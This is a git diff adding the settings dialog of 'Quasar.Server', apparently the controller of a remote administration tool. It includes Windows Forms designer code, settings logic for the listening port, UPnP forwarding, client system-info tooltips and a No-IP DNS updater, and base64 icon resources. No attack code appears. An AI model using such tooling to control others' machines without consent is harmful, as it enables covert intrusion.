AABVqv8DAAAAAD6l6Dk1qvPWNrv//ymy+/4eqPX9PLLz+3bH7/6i2fD+tuHw/rXf7v6c0+3+brvq/jOf + 6/sZkur9JZjv/jCb9P8wi+DPOorZMAAAAABVqv8DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAVar/AwAAAAA6nutPNKXy9TCt+v8eofD8PKnu/qTV6//l7O3/2tTs/7Wr4/+akt7/m5Pd/7eu + 4f/b1On/3uXn/5TD4v8wkuP9Gofi/CyP6v8uht/wNX3QRwAAAAAAqqoDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAFWqqgMAAAAAPZbgQjSe8PYuofH/HZrt/GW06P/j6OX/xLzt/1dVzv8YF7L/Cgiz/wAA + sf8BAK//CQas/xoZrP9fXMv/ysHn/9fe3/9Tmt3/GH/e/CmG4f8ugtrwN4HMNwAAAAB/f/8CAAAAAAAA + AAAAAAAAAAAAAAAAAAAA//8BAAAAAEWW3BY2nO3ZMJ7x/x2U6vxxs+T/6+bj/3t43/8JCob/AAAi/wEB + Q/8CAZD/AgKj/wICof8BAYj/AQE5/wAAJP8NDoj/iITa/+Xh3P9dm9n/GHvb/CyE4P8ygdfRRIi7DwAA + AAAAAP8BAAAAAAAAAAAAAAAAAAAAAAD//wIAAAAAPJzpjzWi9v8glOn7V6fj/+bi3/9jYdf/AABZ/wIC + Bv8DAw3/AgIN/wICJP8CAjv/AgI6/wICIv8CAgz/AwMM/wEBB/8AAFz/dHDT/+Dd2f9Fjdf/HXvZ+zCH + 4/83gtWBAAAAAABVqgMAAAAAAAAAAAAAAAAAf38CAAAAAFCn8CM4oOzvLZvr/yqX5/7H193/ioba/wAA + XP8EBAD/AwMH/wAABv8AABD/AAAU/wAAF/8AABb/AAAU/wAAD/8AAAX/AwMH/wICAP8AAGX/npbY/7bI + 1P8ffNj+KYLb/zOD2OhEidcaAAAAAAD//wEAAAAAAAAAAFWq/wMAAAAAP6bweTio+P8lnOz8Vq/o/9rX + 5f8hIaj/AAAG/wICGf8AAE//CQqF/yYmq/9GRr3/R0i+/0lJvf9DQrb/ISGh/wcIfP8AAEf/AgIT/wAA + Df80M7P/2dXa/z6N2P8igNr8Mori/zqK120AAAAAP3+/BAAAAAAAAP8BAAAAAAAAAAA7pOzCM6r2/yml + 7/1Js+//6ejs/1RSzf8EB4//ODW+/4d/5v/JvvL/4t/t/46Q1f9CRMn/SUrJ/5STzf/Sytr/u67j/3lw + 2f8vK63/AwWK/2Vgx//Y1tn/M4zc/yWF3fwwjeT/OIvbswAAAAAAAP8BAAAAAAD//wEAAAAAVbTpGDen + 7vAwrPP/MbHz/imx9v+V1vP/9+zz/9zS+v/n9P//4fz8/6ji8v9hk+r/FxPW/wwM0/8LC9H/GhnM/1uB + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs new file mode 100644 index 0000000..abfae1a --- /dev/null +++ b/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -0,0 +1,300 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSettings + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSettings)); + this.btnSave = new System.Windows.Forms.Button(); + this.lblPort = new System.Windows.Forms.Label(); + this.ncPort = new System.Windows.Forms.NumericUpDown(); + this.chkAutoListen = new System.Windows.Forms.CheckBox(); + this.chkPopup = new System.Windows.Forms.CheckBox(); + this.btnListen = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.chkUseUpnp = new System.Windows.Forms.CheckBox(); + this.chkShowTooltip = new System.Windows.Forms.CheckBox(); + this.chkNoIPIntegration = new System.Windows.Forms.CheckBox(); + this.lblHost = new System.Windows.Forms.Label(); + this.lblPass = new System.Windows.Forms.Label(); + this.lblUser = new System.Windows.Forms.Label(); + this.txtNoIPPass = new System.Windows.Forms.TextBox(); + this.txtNoIPUser = new System.Windows.Forms.TextBox(); + this.txtNoIPHost = new System.Windows.Forms.TextBox(); + this.chkShowPassword = new System.Windows.Forms.CheckBox(); + this.chkIPv6Support = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit(); + this.SuspendLayout(); + // + // btnSave + // + this.btnSave.Location = new System.Drawing.Point(227, 298); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(75, 23); + this.btnSave.TabIndex = 19; + this.btnSave.Text = "&Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(12, 11); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(93, 13); + this.lblPort.TabIndex = 0; + this.lblPort.Text = "Port to listen on:"; + // + // ncPort + // + this.ncPort.Location = new System.Drawing.Point(111, 7); + this.ncPort.Maximum = new decimal(new int[] { + 65535, + 0, + 0, + 0}); + this.ncPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.ncPort.Name = "ncPort"; + this.ncPort.Size = new System.Drawing.Size(75, 22); + this.ncPort.TabIndex = 1; + this.ncPort.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // chkAutoListen + // + this.chkAutoListen.AutoSize = true; + this.chkAutoListen.Location = new System.Drawing.Point(12, 68); + this.chkAutoListen.Name = "chkAutoListen"; + this.chkAutoListen.Size = new System.Drawing.Size(222, 17); + this.chkAutoListen.TabIndex = 6; + this.chkAutoListen.Text = "Listen for new connections on startup"; + this.chkAutoListen.UseVisualStyleBackColor = true; + // + // chkPopup + // + this.chkPopup.AutoSize = true; + this.chkPopup.Location = new System.Drawing.Point(12, 91); + this.chkPopup.Name = "chkPopup"; + this.chkPopup.Size = new System.Drawing.Size(259, 17); + this.chkPopup.TabIndex = 7; + this.chkPopup.Text = "Show popup notification on new connection"; + this.chkPopup.UseVisualStyleBackColor = true; + // + // btnListen + // + this.btnListen.Location = new System.Drawing.Point(192, 6); + this.btnListen.Name = "btnListen"; + this.btnListen.Size = new System.Drawing.Size(110, 23); + this.btnListen.TabIndex = 2; + this.btnListen.Text = "Start listening"; + this.btnListen.UseVisualStyleBackColor = true; + this.btnListen.Click += new System.EventHandler(this.btnListen_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(146, 298); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(75, 23); + this.btnCancel.TabIndex = 18; + this.btnCancel.Text = "&Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // chkUseUpnp + // + this.chkUseUpnp.AutoSize = true; + this.chkUseUpnp.Location = new System.Drawing.Point(12, 114); + this.chkUseUpnp.Name = "chkUseUpnp"; + this.chkUseUpnp.Size = new System.Drawing.Size(249, 17); + this.chkUseUpnp.TabIndex = 8; + this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)"; + this.chkUseUpnp.UseVisualStyleBackColor = true; + // + // chkShowTooltip + // + this.chkShowTooltip.AutoSize = true; + this.chkShowTooltip.Location = new System.Drawing.Point(12, 137); + this.chkShowTooltip.Name = "chkShowTooltip"; + this.chkShowTooltip.Size = new System.Drawing.Size(268, 17); + this.chkShowTooltip.TabIndex = 9; + this.chkShowTooltip.Text = "Show tooltip on client with system information"; + this.chkShowTooltip.UseVisualStyleBackColor = true; + // + // chkNoIPIntegration + // + this.chkNoIPIntegration.AutoSize = true; + this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177); + this.chkNoIPIntegration.Name = "chkNoIPIntegration"; + this.chkNoIPIntegration.Size = new System.Drawing.Size(187, 17); + this.chkNoIPIntegration.TabIndex = 10; + this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater"; + this.chkNoIPIntegration.UseVisualStyleBackColor = true; + this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged); + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Enabled = false; + this.lblHost.Location = new System.Drawing.Point(30, 203); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(34, 13); + this.lblHost.TabIndex = 11; + this.lblHost.Text = "Host:"; + // + // lblPass + // + this.lblPass.AutoSize = true; + this.lblPass.Enabled = false; + this.lblPass.Location = new System.Drawing.Point(167, 231); + this.lblPass.Name = "lblPass"; + this.lblPass.Size = new System.Drawing.Size(32, 13); + this.lblPass.TabIndex = 15; + this.lblPass.Text = "Pass:"; + // + // lblUser + // + this.lblUser.AutoSize = true; + this.lblUser.Enabled = false; + this.lblUser.Location = new System.Drawing.Point(30, 231); + this.lblUser.Name = "lblUser"; + this.lblUser.Size = new System.Drawing.Size(32, 13); + this.lblUser.TabIndex = 13; + this.lblUser.Text = "Mail:"; + // + // txtNoIPPass + // + this.txtNoIPPass.Enabled = false; + this.txtNoIPPass.Location = new System.Drawing.Point(199, 228); + this.txtNoIPPass.Name = "txtNoIPPass"; + this.txtNoIPPass.Size = new System.Drawing.Size(100, 22); + this.txtNoIPPass.TabIndex = 16; + // + // txtNoIPUser + // + this.txtNoIPUser.Enabled = false; + this.txtNoIPUser.Location = new System.Drawing.Point(70, 228); + this.txtNoIPUser.Name = "txtNoIPUser"; + this.txtNoIPUser.Size = new System.Drawing.Size(91, 22); + this.txtNoIPUser.TabIndex = 14; + // + // txtNoIPHost + // + this.txtNoIPHost.Enabled = false; + this.txtNoIPHost.Location = new System.Drawing.Point(70, 200); + this.txtNoIPHost.Name = "txtNoIPHost"; + this.txtNoIPHost.Size = new System.Drawing.Size(229, 22); + this.txtNoIPHost.TabIndex = 12; + // + // chkShowPassword + // + this.chkShowPassword.AutoSize = true; + this.chkShowPassword.Enabled = false; + this.chkShowPassword.Location = new System.Drawing.Point(192, 256); + this.chkShowPassword.Name = "chkShowPassword"; + this.chkShowPassword.Size = new System.Drawing.Size(107, 17); + this.chkShowPassword.TabIndex = 17; + this.chkShowPassword.Text = "Show Password"; + this.chkShowPassword.UseVisualStyleBackColor = true; + this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged); + // + // chkIPv6Support + // + this.chkIPv6Support.AutoSize = true; + this.chkIPv6Support.Location = new System.Drawing.Point(12, 45); + this.chkIPv6Support.Name = "chkIPv6Support"; + this.chkIPv6Support.Size = new System.Drawing.Size(128, 17); + this.chkIPv6Support.TabIndex = 5; + this.chkIPv6Support.Text = "Enable IPv6 support"; + this.chkIPv6Support.UseVisualStyleBackColor = true; + // + // FrmSettings + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(314, 333); + this.Controls.Add(this.chkIPv6Support); + this.Controls.Add(this.chkShowPassword); + this.Controls.Add(this.txtNoIPHost); + this.Controls.Add(this.txtNoIPUser); + this.Controls.Add(this.txtNoIPPass); + this.Controls.Add(this.lblUser); + this.Controls.Add(this.lblPass); + this.Controls.Add(this.lblHost); + this.Controls.Add(this.chkNoIPIntegration); + this.Controls.Add(this.chkShowTooltip); + this.Controls.Add(this.chkUseUpnp); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnListen); + this.Controls.Add(this.chkPopup); + this.Controls.Add(this.chkAutoListen); + this.Controls.Add(this.ncPort); + this.Controls.Add(this.lblPort); + this.Controls.Add(this.btnSave); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmSettings"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Settings"; + this.Load += new System.EventHandler(this.FrmSettings_Load); + ((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label lblPort; + private System.Windows.Forms.NumericUpDown ncPort; + private System.Windows.Forms.CheckBox chkAutoListen; + private System.Windows.Forms.CheckBox chkPopup; + private System.Windows.Forms.Button btnListen; + private System.Windows.Forms.Button btnCancel; + private System.Windows.Forms.CheckBox chkUseUpnp; + private System.Windows.Forms.CheckBox chkShowTooltip; + private System.Windows.Forms.CheckBox chkNoIPIntegration; + private System.Windows.Forms.Label lblHost; + private System.Windows.Forms.Label lblPass; + private System.Windows.Forms.Label lblUser; + private System.Windows.Forms.TextBox txtNoIPPass; + private System.Windows.Forms.TextBox txtNoIPUser; + private System.Windows.Forms.TextBox txtNoIPHost; + private System.Windows.Forms.CheckBox chkShowPassword; + private System.Windows.Forms.CheckBox chkIPv6Support; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmSettings.cs b/Quasar.Server/Forms/FrmSettings.cs new file mode 100644 index 0000000..4997248 --- /dev/null +++ b/Quasar.Server/Forms/FrmSettings.cs @@ -0,0 +1,156 @@ +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Globalization; +using System.Net.Sockets; +using System.Windows.Forms; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmSettings : Form + { + private readonly QuasarServer _listenServer; + + public FrmSettings(QuasarServer listenServer) + { + this._listenServer = listenServer; + + InitializeComponent(); + + ToggleListenerSettings(!listenServer.Listening); + + ShowPassword(false); + } + + private void FrmSettings_Load(object sender, EventArgs e) + { + ncPort.Value = Settings.ListenPort; + chkIPv6Support.Checked = Settings.IPv6Support; + chkAutoListen.Checked = Settings.AutoListen; + chkPopup.Checked = Settings.ShowPopup; + chkUseUpnp.Checked = Settings.UseUPnP; + chkShowTooltip.Checked = Settings.ShowToolTip; + chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater; + txtNoIPHost.Text = Settings.NoIPHost; + txtNoIPUser.Text = Settings.NoIPUsername; + txtNoIPPass.Text = Settings.NoIPPassword; + } + + private ushort GetPortSafe() + { + var portValue = ncPort.Value.ToString(CultureInfo.InvariantCulture); + ushort port; + return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port; + } + + private void btnListen_Click(object sender, EventArgs e) + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + if (btnListen.Text == "Start listening" && !_listenServer.Listening) + { + try + { + if(chkNoIPIntegration.Checked) + NoIpUpdater.Start(); + _listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked); + ToggleListenerSettings(false); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + _listenServer.Disconnect(); + } + catch (Exception) + { + _listenServer.Disconnect(); + } + } + else if (btnListen.Text == "Stop listening" && _listenServer.Listening) + { + _listenServer.Disconnect(); + ToggleListenerSettings(true); + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + Settings.ListenPort = port; + Settings.IPv6Support = chkIPv6Support.Checked; + Settings.AutoListen = chkAutoListen.Checked; + Settings.ShowPopup = chkPopup.Checked; + Settings.UseUPnP = chkUseUpnp.Checked; + Settings.ShowToolTip = chkShowTooltip.Checked; + Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked; + Settings.NoIPHost = txtNoIPHost.Text; + Settings.NoIPUsername = txtNoIPUser.Text; + Settings.NoIPPassword = txtNoIPPass.Text; + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + if (MessageBox.Show("Discard your changes?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == + DialogResult.Yes) + this.Close(); + } + + private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e) + { + NoIPControlHandler(chkNoIPIntegration.Checked); + } + + private void ToggleListenerSettings(bool enabled) + { + btnListen.Text = enabled ? "Start listening" : "Stop listening"; + ncPort.Enabled = enabled; + chkIPv6Support.Enabled = enabled; + chkUseUpnp.Enabled = enabled; + } + + private void NoIPControlHandler(bool enable) + { + lblHost.Enabled = enable; + lblUser.Enabled = enable; + lblPass.Enabled = enable; + txtNoIPHost.Enabled = enable; + txtNoIPUser.Enabled = enable; + txtNoIPPass.Enabled = enable; + chkShowPassword.Enabled = enable; + } + + private void ShowPassword(bool show = true) + { + txtNoIPPass.PasswordChar = (show) ? (char)0 : (char)'●'; + } + + private void chkShowPassword_CheckedChanged(object sender, EventArgs e) + { + ShowPassword(chkShowPassword.Checked); + } + } +} diff --git a/Quasar.Server/Forms/FrmSettings.resx b/Quasar.Server/Forms/FrmSettings.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmSettings.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 